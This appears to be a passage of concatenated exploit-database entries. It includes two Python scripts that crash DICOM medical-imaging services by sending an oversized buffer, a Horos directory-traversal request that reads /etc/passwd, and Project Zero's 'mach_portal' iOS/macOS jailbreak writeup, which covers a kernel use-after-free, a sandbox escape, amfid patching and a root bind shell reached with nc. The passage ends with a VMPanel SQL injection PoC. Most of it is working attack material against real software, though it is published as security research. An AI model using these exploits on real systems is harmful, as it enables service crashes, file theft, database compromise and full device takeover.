#            Linux Ubuntu 14.04.5
#            FreeBSD 10.3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5384
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5384.php
#
#
# 22.11.2016
#


import socket, sys

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')

buffer = '\x41\x42\x43\x44' * 10000

if len(sys.argv) < 3:
	print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
	print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242\n'
	sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close
            
#!/usr/bin/env python
# -*- coding: utf8 -*-
#
#
# Horos 2.1.0 DICOM Medical Image Viewer Remote Memory Overflow Vulnerability
#
#
# Vendor: Horos Project
# Product web page: https://www.horosproject.org
# Affected version: 2.1.0
#
# Summary: Horos is an open-source, free medical image viewer. The goal of the Horos Project is
# to develop a fully functional, 64-bit medical image viewer for OS X. Horos is based upon OsiriX
# and other open source medical imaging libraries.
#
# Desc: The vulnerability is caused due to the usage of vulnerable collection of libraries that
# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.
# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length
# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can
# overflow the stack and the heap of the process when sending large array of bytes to the presentation
# context item length segment of the DICOM standard, potentially resulting in remote code execution
# and/or denial of service scenario.
#
# Tested on: OS X 10.12.2 (Sierra)
#            OS X 10.12.1 (Sierra)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2016-5386
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5386.php
#
#
# 15.12.2016
#


import sys, socket

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')

buffer = '\x41\x42\x43\x44' * 10000

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')

if len(sys.argv) < 3:
  print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
  print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 11112\n'
  sys.exit(0)
 
host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send(hello+buffer+bye)
s.close
            
Horos 2.1.0 Web Portal Remote Information Disclosure Exploit


Vendor: Horos Project
Product web page: https://www.horosproject.org
Affected version: 2.1.0

Summary: Horos is an open-source, free medical image viewer. The goal of the
Horos Project is to develop a fully functional, 64-bit medical image viewer for
OS X. Horos is based upon OsiriX and other open source medical imaging libraries.

Desc: Horos suffers from a file disclosure vulnerability when input passed thru the
URL path is not properly verified before being used to read files. This can be
exploited to include files from local resources with directory traversal attacks.

Tested on: macOS Sierra/10.12.2
           macOS Sierra/10.12.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5387
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5387.php


15.12.2016

--


PoC request:

http://127.0.0.1:3333/.../...//.../...//.../...//.../...//.../...//etc/passwd


Response:

##
# User Database
# 
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico
_taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false
_networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false
...
...
...
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=965

set_dp_control_port is a MIG method on the host_priv_port so this bug is a root->kernel escalation.

  kern_return_t
  set_dp_control_port(
    host_priv_t host_priv,
    ipc_port_t  control_port) 
  {
          if (host_priv == HOST_PRIV_NULL)
                  return (KERN_INVALID_HOST);

    if (IP_VALID(dynamic_pager_control_port))
      ipc_port_release_send(dynamic_pager_control_port);

    dynamic_pager_control_port = control_port;
    return KERN_SUCCESS;
  }

This should be an atomic operation; there's no locking so two threads can race to see the same value for
dynamic_pager_control_port and release two references when the kernel only holds one.

This PoC triggers the bug such that the first thread frees the port and the second uses it; a
more sensible approach towards exploiting it would be to use this race to try to decrement the reference count
of a port with two references to zero such that you end up with a dangling port pointer.

Tested on MacOS 10.12 16A323
 
##############################################################################

/* ianbeer */

READ THIS FIRST:
if you do not have an iPod touch 6g running 10.1.1 (14b100) or and iPad mini 2 running 10.1.1 (14b100) this project will
not work out of the box(*)! You need to fix up a couple of offsets - see the section futher down
"Adding support for more devices"

(*) more precisely, I only have those devices and have only tested it on them.
(*) 1b4150 will probably also work, I haven't tested it.

Contents:
 1 - Build Instructions
 2 - Adding support for other devices
 3 - Notes on the bugs and exploits

*** (1) Build Instructions ***

 * download and install Xcode 8.1 or higher

 * download Jonathan Levin’s collection of arm64 iOS binaries:
    + Follow the link for "The 64-bit tgz pack" here:
      http://newosxbook.com/tools/iOSBinaries.html (you want iosbinpack64.tgz)
    + extract it into the iosbinpack64 directory which is already in the mach_portal
      source dir so that directly underneath iosbinpack64 you have the bin/, etc/, sbin/, usr/ directories
      When you expand the iosbinpack64 directory in the xcode folder view you should see those folders

 * open this .xcodeproj

 * if you don't have an apple id make one now at https://appleid.apple.com

 * if you don't have a developer signing certificate you can make a free one now in Xcode

 * in Xcode go Xcode->Preference->Accounts and click the '+' in the lower left hand corner and add your apple id

 * select your account then "View Details" and under signing identites click Create next to iOS Development

 * connect your iDevice and click "trust" in the pop up on it

 * wait for xcode to process symbol files for this device

 * in the box to the right of the play and stop buttons in the top left corner of the xcode window select your iDevice

 * in the left hand window pane select the mach_portal project and navigate to the General tab

 * in the signing window select your personal team

 * We now need to fix up a few things:

 * go to Build Settings -> Packaging and give your project a new, unique bundle identifier
    (eg change it from "com.example.mach_portal" to "com.ios.test.account.mach_portal"
     where ios.test.account is your apple id. (it doesn’t have to be your apple id, just a unique string))

 * We also need to register a unique App Group:

 * In the capabilities view scroll down to the App Groups section, remove the existing App Group ("group.mach_portal")
   and add a new unique one (eg "group.ios.test.account.mach_portal")

 * open jailbreak.c and change the app_group variable to this new app group id.

 * on the iDevice go to settings -> General -> Device Management and select your apple ID and click trust

 * in xcode click view -> debug area -> activate console so you can see debugging output (there's no output on the iDevice screen at all, that's normal)

 * make sure your iDevice and host are connected to the same wifi network and that network allows client to client connections. Note down the iDevice's ip address.

 * click play to run the app on the iDevice. If it fails press and hold the power and home buttons to reset the device. If Xcode asks you to enable developer mode on this mac agree.

 * if it succeeds you should see:
    "shell listening on port 4141"
   printed to the debug consol

 * the kernel exploit is only around 50% reliable (this can certainly be improved, read the code and make it better!)
     it will fail more often if there is high system load - try leaving the device for a minute after rebooting it and connecting it to you mac before trying again

 * connect to that port with netcat:
     nc X.X.X.X 4141
   where X.X.X.X is your iDevice’s ip address

 * you have a root shell :) There’s no controlling terminal so fancy curses gui stuff won't work unless you fix that

 * you can run any pseudo-signed thin ARM64 binaries - if you want the kernel task port it's host special port 4

 * copy your custom testing tools to the iosbinpack64 directory and they'll be bundled with the .app so you can run them from the shell

 * you're running as an unsandboxed root user so you can talk to any iokit user clients/mach services

 * amfid is patched to allow any signatures/entitlements

 * When you’re done hold power and home to reset the device

*** (2) Adding support for other devices ***
 * you have to do this manually, sorry!

 * download the ipsw for your device from https://www.theiphonewiki.com/wiki/Firmware
   The bugs are there in any version <= 10.1.1 but the further back you go the more offsets
   will be wrong so ideally stick to 10.1.1 (and for anything earlier that iOS 10 the kernel cache
   is encrypted so you'll have to do the rest yourself)

 * for >= iOS 10 unzip the ipsw and hexdump the kernel.release.* file like this:

$ hexdump -C kernelcache.release.n51 | head
00000000  30 83 b5 9b 0d 16 04 49  4d 34 50 16 04 6b 72 6e  |0......IM4P..krn|
00000010  6c 16 1c 4b 65 72 6e 65  6c 43 61 63 68 65 42 75  |l..KernelCacheBu|
00000020  69 6c 64 65 72 2d 31 31  36 32 2e 32 30 2e 31 04  |ilder-1162.20.1.|
00000030  83 b5 9a de 63 6f 6d 70  6c 7a 73 73 83 13 7d ae  |....complzss..}.|
00000040  01 64 80 00 00 b5 29 5e  00 00 00 01 00 00 00 00  |.d....)^........|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000001b0  00 00 00 00 ff cf fa ed  fe 0c 00 00 01 d5 00 f6  |................|
000001c0  f0 02 f6 f0 14 f6 f0 38  0e 9a f3 f1 20 f6 f1 00  |.......8.... ...|
000001d0  19 ff f1 f5 f0 5f 9f 5f  54 45 58 54 09 02 1c 03  |....._._TEXT....|

 * note down the offset of the ff cf fa ed fe byte sequence (in this case it's 0x1b4)

 * compile lzssdec from http://nah6.com/~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp

 * run a command like: lzssdec -o 0x1b4 < kernel.release.n51 > kernel.decompressed

 * open the decompressed kernelcache in a recent version of IDA Pro (with support for iOS kextcaches)

 * say yes when IDA asks to split by kext

 * let the auto-analysis run - depending on how fast your computer is this might take a while! (it takes my 2013 MBP about 30 minutes)

 * go view -> open subviews -> segments and find the __TEXT:HEADER segment, the start should be FFFFFFF007004000
   if it isn't note this down as you'll need to work out a couple of offsets relative to this

 * go view -> open subviews -> names and find the kernproc data symbol.

 * subtract the __TEXT:HEADER value from that, this is the kernproc offset
     eg for iPhone 5S 10.1.1 kernproc is at FFFFFFF0075AE0E0 making the offset: 0x5AA0E0

 * now the harder one! We need to find allproc which isn't exported so is harder to find:

 * go view -> open subviews -> strings and find the string "pgrp_add : pgrp is dead adding process"

 * hit 'x' on the autogenerated string symbol name; you should see this symbol referenced from two functions

 * open the smaller of those functions in the IDA graph view

 * this is pgrp_add in the XNU source

 * scroll to the bottom of the CFG, the final three nodes all reference the same global variable with code like this:
    ADRP  X8, #qword_FFFFFFF0075A8128@PAGE
    LDR   X9, [X8,#qword_FFFFFFF0075A8128@PAGEOFF]

 * that's the address of allproc - subtract the kernel base to get the offset, in this case it's: 0x5A4128

 * open offset.c and add support for your device. You should only have to update those two variable (kernproc and allproc)
   The structure offsets should stay the same, at least for recent kernels. If you want to target a much older kernel you'll
   also have to work out all the structure offsets - this is much more fiddly.

 * 32-bit devices:
   All the offsets will be totally different and the code which manipulates the kernel data structures will also be completely wrong.
   There's no reason it wouldn't work but you'll have to fix the code to make it work

*** fixing userspace stuff ***

I also rely on a handful of offsets in amfid; you should be able to find those very easily if they're different on your target.
See the code and alse the section "Patch amfid" below.

*** (3) Notes on the bugs and exploits ***

This project is called "mach_portal" - it's the result of a research project I did this year looking at mach ports. (All the bugs used
involve mach ports :-) ) There are two main bugs plus one more which is only used to force a service to restart:

CVE-2016-7637: Broken kernel mach port name uref handling on iOS/MacOS can lead to privileged port name replacement in other processes

CVE-2016-7644: XNU kernel UaF due to lack of locking in set_dp_control_port

CVE-2016-7661: MacOS/iOS arbitrary port replacement in powerd

There is no untether (persistent codesigning bypass) but the exploit will temporarily disable codesigning while it runs so you can run
unsigned binaries.

The high level exploit flow is like this:

I use CVE-2016-7637 to replace launchd's send right to com.apple.iohideventsystem with a send right to a port for which I hold the receive right.
I use CVE-2016-7661 to crash the powerd daemon (which runs as root). It gets automatically restarted and as part of its startup it will
lookup the com.apple.iohideventsystem mach service and send its own task port to that service. Since I hold the receive
right for that port this means that powerd actually sends me its task port giving me complete control over it :-)
I use powerd's task port to get the host_priv port which I use to trigger the kernel bug.

The kernel bug is a lack of locking when releasing a reference on a port. I allocate a large number of mach ports then trigger the bug on around 20
of them which are likely to be allocated near each other in the kernel. I use no-more-senders notifications so I can deterministically know when I've
managed to over-release a port so that I can actually give myself dangling port pointers at an exact point in time later.

I free all these mach ports (leaving myself with ~20 dangling mach port pointers) and force a zone GC. I try to move
the page pointed to by all the dangling port pointers into the kalloc.4096 zone and then I send myself a large number of mach message containing OOL
ports with send rights to the host port. I set up these OOL port pages so that overlapping the dangling port's context pointers there's a pointer
to the host port ipc_port and the dangling port's lock and is_guarded fields are replaced with NULL pointers.

If that all worked I can call mach_port_get_context on each of the dangling ports and I should get back the address of the host port ipc_port.

The kernel task port is allocated at around the same time as the host port and as such they both end up in the same kernel zone page. I work
out the base of this page then call mach_port_set_context on all of the dangling ports passing each possible address of the kernel task port
in turn. I then receive all the ports I sent to myself and if everything worked I've ended receiving a send right to the kernel task port :)

Here's a more detailed writeup of the sandbox escape part of the exploit. You'll have to read the code for the kernel exploit, I haven't written
a longer writeup for that yet.

*** Sandbox escape ***

When sending and receiving mach messages from userspace there are two important kernel objects; ipc_entry and
ipc_object.

ipc_entry's are the per-process handles or names which a process uses to refer to a particular ipc_object.

ipc_object is the actual message queue (or kernel object) which the port refers to.

ipc_entrys have a pointer to the ipc_object they are a handle for along with the ie_bits field which contains
the urefs and capacility bits for this name/handle (whether this is a send right, receive right etc.)

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

#define IE_BITS_UREFS_MASK  0x0000ffff  /* 16 bits of user-reference */
#define IE_BITS_UREFS(bits) ((bits) & IE_BITS_UREFS_MASK)

The low 16 bits of the ie_bits field are the user-reference (uref) count for this name.

Each time a new right is received by a process, if it already had a name for that right the kernel will
increment the urefs count. Userspace can also arbitrarily control this reference count via mach_port_mod_refs
and mach_port_deallocate. When the reference count hits 0 the entry is free'd and the name can be re-used to
name another right (this is actually only the case for send rights).

ipc_right_copyout is called when a right will be copied into a space (for example by sending a port right in a mach
message to another process.) Here's the code to handle the sending of a send right:

    case MACH_MSG_TYPE_PORT_SEND:
        assert(port->ip_srights > 0);
        
        if (bits & MACH_PORT_TYPE_SEND) {
            mach_port_urefs_t urefs = IE_BITS_UREFS(bits);
            
            assert(port->ip_srights > 1);
            assert(urefs > 0);
            assert(urefs < MACH_PORT_UREFS_MAX);
            
            if (urefs+1 == MACH_PORT_UREFS_MAX) {
                if (overflow) {
                    /* leave urefs pegged to maximum */     <---- (1)
                    
                    port->ip_srights--;
                    ip_unlock(port);
                    ip_release(port);
                    return KERN_SUCCESS;
                }
                
                ip_unlock(port);
                return KERN_UREFS_OVERFLOW;
            }
            port->ip_srights--;
            ip_unlock(port);
            ip_release(port);
       
     ...     
        
        entry->ie_bits = (bits | MACH_PORT_TYPE_SEND) + 1;  <---- (2)
        ipc_entry_modified(space, name, entry);
        break;


If copying this right into this space would cause that right's name's urefs count in that space to hit 0xffff
then (if overflow is true) we reach the code at (1) which claims in the comment that it will leave urefs pegged at maximum.
This branch doesn't increase the urefs but still returns KERN_SUCCESS. Almost all callers pass overflow=true.

The reason for this "pegging" was probably not to prevent the reference count from becoming incorrect but rather because
at (2) if the urefs count wasn't capped the reference count would overflow the 16-bit bitfield into the capability bits.

The issue is that the urefs count isn't "pegged" at all. I would expect "pegged" to mean that the urefs count will now stay at 0xfffe
and cannot be decremented - leaking the name and associated ipc_object but avoiding the possibilty of a name being over-released.

In fact all that the "peg" does is prevent the urefs count from exceeding 0xfffe; it doesn't prevent userspace from believing
it has more urefs than that (by eg making the copyout's fail.)

What does this actually mean?

Let's consider the behaviour of mach_msg_server or dispatch_mig_server. They receive mach service messages in a loop and if the message
they receieved didn't corrispond to the MIG schema they pass that received message to mach_msg_destroy. Here's the code where mach_msg_destroy
destroys an ool_ports_descriptor_t:

    case MACH_MSG_OOL_PORTS_DESCRIPTOR : {
      mach_port_t                 *ports;
      mach_msg_ool_ports_descriptor_t *dsc;
      mach_msg_type_number_t      j;

      /*
       * Destroy port rights carried in the message 
       */
      dsc = &saddr->ool_ports;
      ports = (mach_port_t *) dsc->address;
      for (j = 0; j < dsc->count; j++, ports++)  {
          mach_msg_destroy_port(*ports, dsc->disposition); // calls mach_port_deallocate
      }
    ...

This will call mach_port_deallocate for each ool_port name received.

If we send such a service a mach message with eg 0x20000 copies of the same port right as ool ports the ipc_entry for that name will actually only have
0xfffe urefs. After 0xfffe calls to mach_port_deallocate the urefs will hit 0 and the kernel will free the ipc_entry and mark that name as free. From this
point on the name can be re-used to name another right (for example by sending another message received on another thread) but the first thread will
still call mach_port_deallocate 0x10002 times on that name.

This leads to something like a use-after-deallocate of the mach port name - strictly a userspace bug (there's no kernel memory corruption etc here) but
caused by a kernel bug.

The challenge to exploiting this bug is getting the exact same port name reused
in an interesting way.

This requires us to dig in a bit to exacly what a port name is, how they're allocated
and under what circumstances they'll be reused.

Mach ports are stored in a flat array of ipc_entrys:

  struct ipc_entry {
    struct ipc_object *ie_object;
    ipc_entry_bits_t ie_bits;
    mach_port_index_t ie_index;
    union {
      mach_port_index_t next;   /* next in freelist, or...  */
      ipc_table_index_t request;  /* dead name request notify */
    } index;
  };

mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table
and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused
the generation number is incremented. There are 64 generations, so after an entry has been reallocated
64 times it will have the same generation number.

The generation number is checked in ipc_entry_lookup:

  if (index <  space->is_table_size) {
                entry = &space->is_table[index];
    if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
        IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE)
      entry = IE_NULL;    
  }

here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name.

Entry allocation:
The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will 
be grown. The table is never shrunk.

Reliably looping mach port names:
To exploit this bug we need a primitive that allows us to loop a mach port's generation number around.

After triggering the urefs bug to free the target mach port name in the target process we immediately
send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently
freed it will be at the head of the freelist and will be reused to name the first of the ool ports
contained in the message (but with an incremented generation number.)
Since this message is not expected by the service (in this case we send an
invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of 
the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the
freed port was reused to name the first ool port it will be the first to be freed. This will push the name
N entries down the freelist.

We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation
number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry
in the table is allocated it will have exactly the same mach port name as the original target right we
triggered the urefs bug on.

For this iOS exploit I target the send right to com.apple.iohideventsystem which launchd has, and which I can lookup from inside the
container sandbox

I look up the iohideventsystem service in launchd then use the urefs bug to free launchd's send right and use the
looper messages to spin the generation number round. I then register a large number of dummy services
with launchd so that one of them reuses the same mach port name as launchd thinks the iohideventsystem service has.
(We can't register global mach services from inside the container sandbox but we can register App Group-restricted
services, which work just the same for our purposes. This is why the exploit needs the App Groups capability.)

Now when any process looks up com.apple.iohideventsystem launchd will actually send them a send right
to one of my dummy services :)

I add all those dummy services to a portset and use that recieve right and the legitimate iohideventsystem send right
I still have to MITM all these new connections to iohideventsystem. As mentioned earlier clients of iohideventsystem send
it their task ports, so all I have to do is crash a process which runs as root and is a client of iohideventsystem. When it
restarts it will send it's task port to me :-)

*** Powerd crasher ***

To crash powerd I use CVE-2016-7661:

powerd checks in with launchd to get a server port and then wraps that in a CFPort:

  pmServerMachPort = _SC_CFMachPortCreateWithPort(
                          "PowerManagement",
                          serverPort, 
                          mig_server_callback, 
                          &context);

It also asks to receive dead name notifications for other ports on that same server port:

  mach_port_request_notification(
              mach_task_self(),           // task
              notify_port_in,                 // port that will die
              MACH_NOTIFY_DEAD_NAME,      // msgid
              1,                          // make-send count
              CFMachPortGetPort(pmServerMachPort),        // notify port
              MACH_MSG_TYPE_MAKE_SEND_ONCE,               // notifyPoly
              &oldNotify);                                // previous

mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:

  static void
  mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
  {
      mig_reply_error_t * bufRequest = msg;
      mig_reply_error_t * bufReply = CFAllocatorAllocate(
          NULL, _powermanagement_subsystem.maxsize, 0);
      mach_msg_return_t   mr;
      int                 options;

      __MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
      
      /* we have a request message */
      (void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

This passes the raw message to pm_mig_demux:

  static boolean_t 
  pm_mig_demux(
      mach_msg_header_t * request,
      mach_msg_header_t * reply)
  {
      mach_dead_name_notification_t *deadRequest = 
                      (mach_dead_name_notification_t *)request;
      boolean_t processed = FALSE;

      processed = powermanagement_server(request, reply);

      if (processed) 
          return true;
      
      if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
      {
          __MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);

          PMConnectionHandleDeadName(deadRequest->not_port);

          __MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
          mach_port_deallocate(mach_task_self(), deadRequest->not_port);
          
          reply->msgh_bits            = 0;
          reply->msgh_remote_port     = MACH_PORT_NULL;

          return TRUE;
      }

This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.

deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:

  typedef struct {
      mach_msg_header_t   not_header;
      NDR_record_t        NDR;
      mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
      mach_msg_format_0_trailer_t trailer;
  } mach_dead_name_notification_t;

This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.

The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)

Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.

You could probably do quite interesting things with this bug but in this case I just want to crash the service. I do that by spoofing no-more-senders
notifications for powerd's task port. Once powerd's send right to its own task port has been freed pretty much everything breaks - in this case
I send a copy_powersources_info message, the receving code doesn't check the return value of a call to mach_vm_allocate which fails because the
task's task port is wrong and leads to the use of an uninitialized pointer.

*** Kernel Bug ****

See above for a short writeup of the kernel bug exploit. I will try to write a long-form writeup soon, but the code should be kind of clear.

*** Post-exploitation ****

I've taken a slightly different approach post-exploitation. Everything is data-only, I don't make any patches to r/o kernel memory. This means
things should also work on the iPhone 7 but I don't have one to test :(

There are a number of downsides to taking this approach though:
  * technically a lot of these things I do are racy, but in pratice it works perfectly well enough for a research platform
  * some things become quite fiddly which are simple with a TEXT patch

This is also a research project for me; there are almost certainly far more downsides that I'm not aware of. iOS is complex, undocumented place
and I don't really know what I'm doing!

The flow works like this:

Walk the process list and find the following tasks:
 amfid
 mach_portal
 containermanagerd
 launchd

Disable the sandbox:
  sb_evaluate has a short-circuit success path if the process has the kern_cred credentials; neither the plaform policy nor
  the process's sandbox profile will be evaluated. We can use the kernel memory access to give the mach_portal process the
  kernel's credentials and we're no longer sandboxed.

Fix launchd:
  The sandbox escape made a mess in launchd so I fix up launchd's send right to iohideventsystem to point back to the correct port.
  I then restart powerd because otherwise we hit a watchdog timeout.

Patch amfid:
  In order to run unsigned binaries and have somethign like a proper shell environment we need to convince amfid to allow binaries with invalid
  signatures. Previous efforts in this area have replaced amfids import of MISValidateSignature to a function which would always return 0 (success)
  but amfid now calls MISValidateSignatureAndCopyInfo which takes an out pointer to a CFDictionary which is expected to contain the correct CDHash
  so just replacing the import won't work. I instead set myself as amfid's exception handler and point the MISValidateSignatureAndCopyInfo to an invalid
  address. This means that amfid will crash whenever it validates a signature, and since we're the exception handler we get a message on the exception port
  with the crashing thread state. I read the path to the file to be validated from amfid's address space, compute the CDHash SHA1 myself and write that into the
  reply message which amfid will send back to the kernel then resume execution of amfid so it can send the reply.

Unsandbox containermangerd:
  Since I haven't had time to investigate LvVM yet I don't remount the rootfs r/w which means that all the binaries we run are from the user partition. This means
  that we can't prevent the kernel from requesting that containermanagerd allocate a container for them. I did test out doing a similar patch for containermanagerd
  as I did for amfid which parsed the sb_packbuff requests from the kernel and fixed them up so that containermanagerd didn't get upset but it seemed easier to
  just unsandbox it so it can make the directories it wants. This decision should be revisited, it's not ideal!

Make sure all child processes are also unsandboxed:
  Since the sandbox defeat involves cheating by using the kern_cred we need a way to make sure all our child processes also have the kern_cred. This is kind of a hack
  but it works fine for my purposes. You should really revisit this if you want to improve on this code!
  I allocate a new mach port and set that as my bootstrap port and spin up a thread which mitm's between that port and a real send right to launchd. I request an audit
  trailer with each message which allows me to get the sender of the message and thus be notified when a new child starts. I then use the kernel memory access to
  find that pid's proc structure and give it and all its threads the kernel creds. A constructor in libxpc will make a synchronous request to the bootstrap
  port during dyld initialization before any application code actually runs so this works well enough to allow all our children to run unsandboxed

Set kernel task port as host special port:
  I also set the kernel task port as host special port 4 so you can easily get at it without having to rewrite the exploit code.

Shell:
  I chmod everything in the iosbinpack64 directory to be executable then run bash on a bind shell on port 4141. This isn't ideal but is enough to run test tools
  and explore the system, talk to all the userclients, devices, mach services, sysctls etc that you want to.


Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40931.zip
            
=====================================================
[#] Exploit Title :  VMPanel 2.7.4 - SQL Injection Web Vulnerability
[#] Author : Esmaeil Rahimian
[#] Date Discovered : 2016-12-07
[#] Affected Product(s): VMPanel v2.7.4 - Content Management System
[#] Exploitation Technique: Remote
[#] Severity Level: Medium
[#] Tested OS : Windows 10
=====================================================


[#] Product & Service Introduction:
===================================
VMPanel is a powerful web based VMware Esx/Esxi Control Panel + WHMCS addon
with VMPanel you can create or remove virtual machines remotely without the need to access vsphere Client aslo you can
Power Off,Power On, reset,virtual machine through the panel and module for WHMCS

(Copy of the Vendor Homepage: http://www.cybervm.com/ )


[#] Technical Details & Description:
====================================
A remote sql injection web vulnerability has been discovered in the official VMPanel v2.7.4 web-application (cms).
The web vulnerability allows remote attackers to execute own malicious sql commands to compromise the web-application or dbms.

The sql-injection web vulnerability is located in the `IP Address` entry name, that is located in the pannel administration. 
Remote attackers are able to run clean sql commands, the vulnerability attack vector is application-side and 
the injection request method is POST.

Request Method(s):
              [+] POST

Vulnerable Module(s):
              [+] (Input)

Vulnerable Parameter(s):
              [+] IP Address


[#] Proof of Concept (PoC):
===========================
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


--- PoC Session Logs [POST]---
Status: 200 [OK]
Host: localhost:2023
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:2023/sesswuzs6ugfaxa7ufii/index.php?act=addserver
Cookie: head_ippool=2; head_storage=2; head_servers=2; ssupp.vid=UMvYqzxZJxPU8VfwJ23WTpt5PWxnqZmYHQ45341807122016; ssupp.geoloc=%7B%22ipAddress%22%3A%22176.156.184.208%22%2C%22countryCode%22%3A%22FR%22%2C%22country%22%3A%22France%22%2C%22region%22%3Anull%2C%22city%22%3Anull%7D; WHMCS4tXQk3bQ4YHY=l8580de1p2dm64gtevt7jj15s7; SIMCookies001_sid=yd0da41j3abie5zhb8jwjsd5nk6c07ce
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 141


POST Method: server_name=&ip=[INJECTION SQL HERE]&pass=&mikip=&mikuser=&mikpass=&bw=&addserver=Add+Server


--- PoC Error Logs ---
SELECT * FROM `servers` WHERE `server_ip` = ''"/>>:22'
MySQL Error No : 1064
MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"/>>:22'' at line 1


[#] Disclaimer:
===============
